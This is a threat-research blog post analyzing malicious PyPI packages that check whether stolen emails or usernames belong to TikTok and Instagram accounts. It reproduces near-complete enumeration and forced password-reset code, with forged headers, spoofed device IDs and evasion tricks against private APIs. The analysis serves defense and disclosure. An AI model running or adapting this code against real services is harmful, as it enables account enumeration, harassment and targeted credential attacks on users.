Malicious ‘Checker’ Packages on PyPI Probe TikTok and Instagram for Valid Accounts
Malicious PyPI checkers validate stolen emails against TikTok and Instagram APIs, enabling targeted account attacks and dark web credential sales.
Olivia Brown
May 15, 2025
We often hear about the importance of secure data. Have I Been Pwned and similar websites exist to see if passwords or emails are listed online. However, many people do not understand the ramifications of their own leaked data.
Obtaining valid credentials, even just emails, can initiate an exploit chain. Compromised credentials have been responsible for many cyber incidents, including the 2015 Ukraine electric power attack. A lot of cyber threat actors, from the Lazarus Group to Volt Typhoon, have collected personal emails before initiating an exploit. By ensuring that the email they have is associated with an account, threat actors can target their exploits.
Checkers, therefore, are an integral first step in many exploit chains. Checkers are automated tools, either scripts or software, used to validate large volumes of stolen usernames or emails. Checkers operate by systematically testing these credentials against login interfaces of websites, mobile applications, or APIs to identify valid account combinations.
As of the time of this writing, the three checkers in this post, checker-SaGaF, steinlurks, and sinnercore, were all live on the Python Package Index (PyPI). We reported these malicious packages to the PyPI security team.
True to its name, checker-SaGaF checks if an email is associated with a TikTok account and an Instagram account.
Socket flagged the PyPI package checker-SaGaF, which targets TikTok and Instagram accounts, as known malware. The package poses a high supply chain security risk due to malicious behavior and unauthorized network access. This package was last released April 29, 2023.
*Tik() function that checks if the email is associated with a TikTok account. Socket Threat Research Team defanged URLs.*
Here, the function takes an email and then checks if it’s registered by abusing the internal API endpoint. The URL is hardcoded to TikTok’s private password recovery API endpoint, which is intended to allow a legitimate user to request a password reset link for their account by providing their email address. The query string is deliberately made to simulate a legitimate TikTok client by mimicking real app data (app_name=musical_ly, device_brand=samsung, faking location data, and faking device identifiers like device_id).
It then creates fake HTTP headers, setting the host to the TikTok API server, fakes cookies to impersonate a real session, and uses a User-Agent for the TikTok Android client to likely avoid being blocked by TikTok’s anti-bot measures. The POST data mimics the body of an actual password reset form submission by TikTok. The email passed into the function is injected directly into the payload as if it came from the app.
Finally, it sends the POST request to TikTok’s internal API with the forged headers and data. It saves the response as text, and checks if the response includes “Sent Successfully,” which it would if the email exists. TikTok would also send a password reset link to the target account. By checking for this string, the attacker can determine if the email is valid. The threat actor creates a dictionary of these accounts, marking them either valid or invalid depending on the response.
*Insta() function checks if the email is associated with an Instagram account.*
Here, again, the email is passed to the function and the threat actor abuses an internal API, this time the Instagram private mobile API i.instagram.com. The endpoint is not intended for direct user API access. The code then follows the same logic of interpreting error codes based on a POST response to create a dictionary of existing emails with corresponding Instagram accounts.
Both these functions exist to develop lists of live accounts on TikTok and Instagram, respectively. Once threat actors have this information, just from an email address, they can threaten to dox or spam, conduct fake report attacks to get accounts suspended, or solely confirm target accounts before launching a credential stuffing or password spraying exploit. Validated user lists are also sold on the dark web for profit.
It can seem harmless to construct dictionaries of active emails, but this information enables and accelerates entire attack chains and minimizes detection by only targeting known-valid accounts.
This next package contains five different versions of checker functions.
Socket flagged the PyPI package steinlurks, which targets Instagram accounts, as known malware. The package poses a high supply chain security risk due to malicious behavior and unauthorized network access. This package was last released March 1, 2025.
The first function from steinlurks. Comments supplied by the threat actor.
The first function generates a randomized mobile User-Agent string designed to look like the Instagram Android app to evade detection. This function simulates Instagram internal versioning identifiers, Android OS version mappings, DPI to resolution mappings, device model list vendor mappings, CPU chipset strings, phone language settings, device types, CPU architecture strings, and phone vendors to mimic legitimate traffic and avoid anti-bot measures. The final User-Agent string generates something like:
The code then randomly chooses one of the next five functions.
def stein1(email):
"""Check if the email corresponds to a 'Good' password and return True or False."""
url = "hxxps://i[.]instagram[.]com/api/v1/bloks/apps/com.bloks.www.caa.ar.search.async/"
# The payload to be sent with the request
payload = f"params=%7B%22client_input_params%22%3A%7B%22text_input_id%22%3A%22616z6k%3A71%22%2C%22was_headers_prefill_available%22%3A0%2C%22sfdid%22%3A%22%22%2C%22fetched_email_token_list%22%3A%7B%7D%2C%22search_query%22%3A%22{email}%22%2C%22android_build_type%22%3A%22release%22%2C%22accounts_list%22%3A%5B%5D%2C%22ig_android_qe_device_id%22%3A%228745a4a2-a663-4bc7-9b3b-16d5b8ea20b9%22%2C%22ig_oauth_token%22%3A%5B%5D%2C%22is_whatsapp_installed%22%3A1%2C%22lois_settings%22%3A%7B%22lois_token%22%3A%22%22%2C%22lara_override%22%3A%22%22%7D%2C%22was_headers_prefill_used%22%3A0%2C%22headers_infra_flow_id%22%3A%22%22%2C%22fetched_email_list%22%3A%5B%5D%2C%22sso_accounts_auth_data%22%3A%5B%5D%2C%22encrypted_msisdn%22%3A%22%22%7D%2C%22server_params%22%3A%7B%22event_request_id%22%3A%22b8a5a2be-1abe-40da-b476-3d893c871e21%22%2C%22is_from_logged_out%22%3A0%2C%22layered_homepage_experiment_group%22%3Anull%2C%22device_id%22%3A%22android-bf1b282ab2b0b445%22%2C%22waterfall_id%22%3A%22017145b8-cb79-439a-9036-2fb580f40ca0%22%2C%22INTERNAL__latency_qpl_instance_id%22%3A3.6480220400074E13%2C%22is_platform_login%22%3A0%2C%22context_data%22%3A%22AR2rfU7knJNQCBz3hzsomH487qVyGu0HOVx3jgM-6G69fIwxA73vDmSlV7vY-W2aR4sv08iPPcsbdDt7RQF0ijGeqPudYXN0zlEZMvLeGOEvM_HHTtEJuv8dHDd4c8AIk4VpoaEASAIC9T_OS4yHwzupVtJKe7ghZ7k0y3kHeS7OGhaAIm4QvqfWW5JendkDb0mWJ31hcpuhEp8qcbdjJ27ABYmh7-MltY9OrlgAoBsSZuz8_MD3S1XQFV0I52liYk8fK_tSI9x4Ok0lTmIWJ4aN8pjQvxGhAWLJ73ONhBVfpIXE2xuutHN4eMrjKARC2-XcGRmg7pf3xLfGu_Z7zKiKrVmR8LQz91dwiKHFaND6DeHwVcARkBjYm0YLjaGdT-0FIeGYFs1x%7Carm%22%2C%22INTERNAL__latency_qpl_marker_id%22%3A36707139%2C%22family_device_id%22%3A%222586e714-fdb4-4741-ba7b-0b84b13e2a97%22%2C%22offline_experiment_group%22%3A%22caa_launch_ig4a_combined_60_percent%22%2C%22INTERNAL_INFRA_THEME%22%3A%22default%2Cdefault%22%2C%22access_flow_version%22%3A%22F2_FLOW%22%2C%22is_from_logged_in_switcher%22%3A0%2C%22qe_device_id%22%3A%228745a4a2-a663-4bc7-9b3b-16d5b8ea20b9%22%7D%7D&bk_client_context=%7B%22bloks_version%22%3A%228ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb%22%2C%22styles_id%22%3A%22instagram%22%7D&bloks_versioning_id=8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb"
headers = {
'User-Agent': generate_user_agent(), # Randomly generated user agent
'x-ig-app-locale': "en-US",
'x-ig-device-locale': "en-US",
'x-ig-mapped-locale': "en-US",
'x-pigeon-session-id': "UFS-42175dfd-8675-4443-8f8d-7f09fa7ea9da-0",
'x-pigeon-rawclienttime': "1725835735.847",
'x-ig-bandwidth-speed-kbps': "-1.000",
'x-ig-bandwidth-totalbytes-b': "0",
'x-ig-bandwidth-totaltime-ms': "0",
'x-bloks-version-id': "8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb",
'x-ig-www-claim': "0",
'x-bloks-is-layout-rtl': "true",
'x-ig-device-id': "8745a4a2-a663-4bc7-9b3b-16d5b8ea20b9",
'x-ig-family-device-id': "2586e714-fdb4-4741-ba7b-0b84b13e2a97",
'x-ig-android-id': "android-bf1b282ab2b0b445",
'x-ig-timezone-offset': "10800",
'x-fb-connection-type': "MOBILE.LTE",
'x-ig-connection-type': "MOBILE(LTE)",
'x-ig-capabilities': "3brTv10=",
'x-ig-app-id': "567067343352427",
'priority': "u=3",
'accept-language': "en-US",
'x-mid': "Zt4loQABAAFzGR1YLL2M9XOkL9El",
'ig-intended-user-id': "0",
'content-type': "application/x-www-form-urlencoded"
}
# Send the POST request
response = requests.post(url, data=payload, headers=headers)
# Check the response status
if response.status_code == 200:
response_data = response.json() # Convert response to JSON
# Check if the error message is in the response
if "The password you entered is incorrect." in str(response_data):
return True # Password is incorrect
else:
return False # Password isn't incorrect or other error
else:
return False # Failed request
*stein1(), the first of the stein functions. Comments supplied by the threat actor. Socket Threat Research Team defanged URLs.*
It sets the URL to a private Instagram internal endpoint which the mobile app only uses for account recovery and discovery flows. It’s normally unaccessible to users.
The payload, that extremely long hardcoded URL string, is a fully pre-encoded POST body that simulates a request from a real Android app. search_query={email} is where the threat actor-supplied email gets injected. Like the previous function, the rest of the parameters exist to disguise automated behavior. It then calls the previous function to randomize the User-Agent header. Once the function sends the forged POST request to the internal Instagram recovery API, it stores either the status code. If the status code is 200, indicating a successful request, the threat actor parses the JSON reply to see if the response includes a string indicating that the password is incorrect. If so, it returns true. This would indicate that the email corresponds to an actual account. Otherwise, the function returns false.
def stein2(email):
"""
This function sends a POST request to check if the email exists and returns True if found.
Otherwise, it returns False.
Parameters:
- email: The email to check.
"""
url = "https://i.instagram.com/api/v1/users/lookup/"
# Create the payload using variables from Variable class
payload = f"signed_body={Variable.sgin}.%7B%22country_codes%22%3A%22%5B%7B%5C%22country_code%5C%22%3A%5C%22{Variable.num}%5C%22%2C%5C%22source%5C%22%3A%5B%5C%22default%5C%22%5D%7D%5D%22%2C%22_csrftoken%22%3A%22{Variable.csr}%22%2C%22q%22%3A%22{email}%22%2C%22guid%22%3A%22{uuid.uuid4()}%22%2C%22device_id%22%3A%22{Variable.android}%22%2C%22directly_sign_in%22%3A%22true%22%7D&ig_sig_key_version=4"
# Define headers
headers = {
'User-Agent': generate_user_agent(),
'Accept-Encoding': "gzip, deflate",
'Content-Type': "application/x-www-form-urlencoded",
'X-Pigeon-Session-Id': str(uuid.uuid4()),
'X-Pigeon-Rawclienttime': str("{:.3f}".format(time.time())),
'X-IG-Connection-Speed': "-1kbps",
'X-IG-Bandwidth-Speed-KBPS': "-1.000",
'X-IG-Bandwidth-TotalBytes-B': "0",
'X-IG-Bandwidth-TotalTime-MS': "0",
'X-Bloks-Version-Id': "009f03b18280bb343b0862d663f31ac80c5fb30dfae9e273e43c63f13a9f31c0",
'X-IG-Connection-Type': "MOBILE(LTE)",
'X-IG-Capabilities': "3brTvw==",
'X-IG-App-ID': "567067343352427",
'Accept-Language': "ar-YE, en-US",
'X-FB-HTTP-Engine': "Liger",
}
# Send the POST request and get the response text
res = requests.post(url, data=payload, headers=headers).text
# Check if the response contains "status":"ok" and the email
if '"status":"ok"' in res and f'{email}' in res:
return True
else:
return False
*stein2(). Comments supplied by the threat actor.*
This function also checks if an email corresponds to an Instagram account but with several key differences. The API target, https://i.instagram.com/api/v1/users/lookup/ is different, as in stein1 the API target was hxxps://]i[.]instagram[.]com/api/v1/bloks/apps/com[.]bloks[.]www[.]caa[.]ar[.]search[.]async/. The new endpoint is used by the Instagram app to recover usernames or confirm accounts, whereas the first example is used for recovery and debugging. This function is stealthier because it uses this production account lookup behavior. The detection method is also different, as in stein1 the function looks for known backend error strings and this function looks for “status”:”ok” and the presence of the email in the POST response. This function improves upon randomization and evasion with session IDs and other session fingerprints.
def stein3(email):
ua = generate_user_agent()
device_id = 'android-' + hashlib.md5(str(uuid.uuid4()).encode()).hexdigest()[:16]
uui = str(uuid.uuid4())
# Define headers
headers = {
'User-Agent': ua,
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}
# Define cookies
cookies = {
'csrftoken': '76HKvZYXiWJKIArQAQNEMD' # You might want to update this if necessary
}
# Define data for the POST request
data = {
'signed_body': '0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.' + json.dumps({
'_csrftoken': '76HKvZYXiWJKIArQAQNEMD',
'adid': uui,
'guid': uui,
'device_id': device_id,
'query': email
}),
'ig_sig_key_version': '4',
}
# Send the POST request
response = requests.post(
'https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/',
headers=headers, cookies=cookies, data=data
).text
# Check if the email is present in the response and return the result
if email in response:
return True
else:
return False
*stein3(). Comments supplied by the threat actor.*
Similar to the previous functions, stein3 establishes if the supplied email corresponds to an active Instagram account. However, there are a few key differences
stein3() targets https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/. It sets a CSRF token because it believes Instagram checks for one, but notes that it may need to be changed or updated. Overall, its payload and header are less disguised than the previous functions.
def stein4(email):
# Generate a dynamic user agent using the generate_user_agent function
ua = generate_user_agent()
# Generate unique device and GUID
device_id = f"android-{uuid.uuid4().hex[:16]}"
guid = str(uuid.uuid4())
# Set the headers using the generated user agent
headers = {
'Host': 'i.instagram.com',
'X-IG-Capabilities': 'AQ==',
'X-IG-Connection-Type': 'WIFI',
'User-Agent': ua,
}
# Define cookies
cookies = {
'csrftoken': '76HKvZYXiWJKIArQAQNEMD'
}
# Prepare the POST data
data = {
'signed_body': '0d067c2f86cac2c17d655631c9cec2402012fb0a329bcafb3b1f4c0bb56b1f1f.'
+ json.dumps({
'_csrftoken': '76HKvZYXiWJKIArQAQNEMD',
'adid': guid,
'guid': guid,
'device_id': device_id,
'query': email
}),
'ig_sig_key_version': '4',
}
# Send POST request to initiate the password recovery flow
response = requests.post(
'https://i.instagram.com/api/v1/accounts/send_recovery_flow_email/',
headers=headers, cookies=cookies, data=data
).text
# Check if the email is in the response
if email in response:
return True # Email found in response, successful request
else:
return False
*stein4(). Comments supplied by the threat actor.*
This code similarly randomizes the User-Agent to avoid fingerprinting. It uses a less complex method than stein3 to generate a fake device ID and GUID, and a simpler heading spoof than any of the previous functions. However, it uses the same CSRF token as stein3, as well as the same payload, API call, and detection logic.
def stein5(email):
# Generate a dynamic user agent using the generate_user_agent function
ua = generate_user_agent()
# Generate unique device ID and GUID
device_id = f"android-{uuid.uuid4().hex[:16]}"
guid = str(uuid.uuid4())
# Set the headers with additional information
headers = {
'Host': 'www.instagram.com',
'origin': 'https://www.instagram.com',
'referer': 'https://www.instagram.com/accounts/signup/email/',
'user-agent': ua, # Using dynamically generated user agent
'x-ig-app-id': '567067343352427',
'x-ig-connection-type': 'WIFI',
'x-ig-csrf-token': '76HKvZYXiWJKIArQAQNEMD',
'x-ig-capabilities': '3brTvw==',
'x-ig-connection-speed': '-1kbps',
'x-ig-batch-request': 'false',
'x-fb-httpreferer': 'https://www.instagram.com/',
'accept-language': 'en-US',
'x-ig-batch-referer': 'https://www.instagram.com/accounts/signup/email/',
'accept-encoding': 'gzip, deflate'
}
# Prepare the POST data
data = {
'email': email
}
# Send POST request to check if email is taken
response = requests.post('https://www.instagram.com/api/v1/web/accounts/check_email/', headers=headers, data=data)
# Check if 'email_is_taken' is in the response text
if 'email_is_taken' in response.text:
return True # Email is taken
else:
return False # Email is available
*stein5(). Comments supplied by the threat actor.*
Stein5 uses a different strategy, acting as a web-side checker instead of abusing internal mobile APIs like the other stein functions. Instead of targeting a version of i.instagram.com, stein5 targets www.instagram.com. They are mimicking a normal browser hitting the web sign-up page. The payload is super simple, passing just the target email, and targeting the internal AJAX call that checks if a signup email is already taken.
steinlurks() randomly chooses one of these 5 functions to use to check if an email is associated with an Instagram account. Creating five different versions may appear as an odd choice, but it allows for redundancy across attack surfaces since there are multiple internal and external APIs. Any API can be patched, blocked, or rate-limited at any time, so by having multiple options the threat actor always has fallback options.
Cycling through the functions also makes detection for Instagram more difficult. Cyber defenses often depend on behavioral fingerprints, like the same headers, endpoints, or payloads. By changing these between the functions, Instagram is likely to only stop one function at a time, ensuring the threat actor has more opportunity to execute their plan. Anti-abuse thresholds are also avoided by changing these endpoints and load balancing across the infrastructure.
Unlike the previous examples, sinnercore attempts to trigger the forgot password flow for a given username.
Socket flagged the PyPI package sinnercore, which targets Instagram accounts, as known malware. The package poses a high supply chain security risk due to malicious behavior, unauthorized network access, and shell access. This package was last released March 5, 2025.
def KOIRESETBHEJDO(username):
url = "https://b.i.instagram.com/api/v1/accounts/send_password_reset/"
headers = {
"User-Agent": random.choice(USER_AGENTS),
"Accept-Language": "en-US",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-CSRFToken": "YXvnZ43BVgH4y_ddhNTbFI",
"Cookie": "csrftoken=YXvnZ43BVgH4y_ddhNTbFI",
}
data = {
"username": username,
"device_id": "android-cool-device"
}
try:
response = requests.post(url, headers=headers, data=data, timeout=10)
response.raise_for_status()
return response.json()
except requests.exceptions.Timeout:
return {"status": "fail", "message": "Request timed out. Please try again later."}
except requests.exceptions.RequestException:
return {"status": "fail", "message": "Invalid response. The account may not exist or is suspended."}
except ValueError:
return {"status": "fail", "message": "Invalid response from Instagram. Please try again later."}
KOIRESETBHEJDO() function of sinnercore.
This function targets https://b.i.instagram[.]com/api/v1/accounts/send_password_reset/. Notably, this is used for older app versions or bypass purposes. Since this package was released in March 2025, it is likely the threat actor did this to reduce detection chances.
It then forges a header, randomizing User-Agent from a pool of realistic values, setting basic HTTP fields to match an Android, and faking a CSRF token and session cookie. In the payload, the attacker provides the target username. Finally, if successful, the attacker returns the response as JSON. The function exists to trigger forced password reset messages, both verifying that the account exists and harassing the victim.
The rest of sinnercore focuses on silent OSINT, like pulling user info and translating text from their Instagram bio. There is also functionality targeting Telegram, namely extracting name, user ID, bio, and premium status, as well as other attributes. Some parts of sinnercore are focused on crypto utilities, like getting real-time Binance price or currency conversions. It even targets PyPI programmers by fetching detailed info on any PyPI package, likely used for fake developer profiles or pretending to be developers.
Dark web image of a database of 100k verified emails selling for $300 USD. Translations supplied by the Socket Threat Research Team.
Personal information, including your email address and the accounts associated with it, should remain personal. However, in the world we live in, threat actors are selling databases with your information on the dark web, for only hundreds of dollars. In this case, your one email is only worth $.003, not even a cent, and potentially less if the buyer wants a larger dataset. Threat actors can easily add your personal email to their databases, beginning the process to get into your accounts.
To keep your accounts and personal information safe, maintain awareness of your credentials and change them if they are leaked on the dark web. Developers should consider if their error messages in response to login attempts give too much information to potential threat actors. Socket’s GitHub App, CLI tool, and Browser Extension can help developers understand what risks they may be introducing into their environments.
Socket GitHub App: Automated real-time security analysis of dependencies.
Socket CLI Tool: Inspect and detect anomalies during builds and installations.
Browser Extension: Scans package pages in your browser as you browse, flags suspicious or malicious packages in real-time, and warns you before you install or download a risky dependency.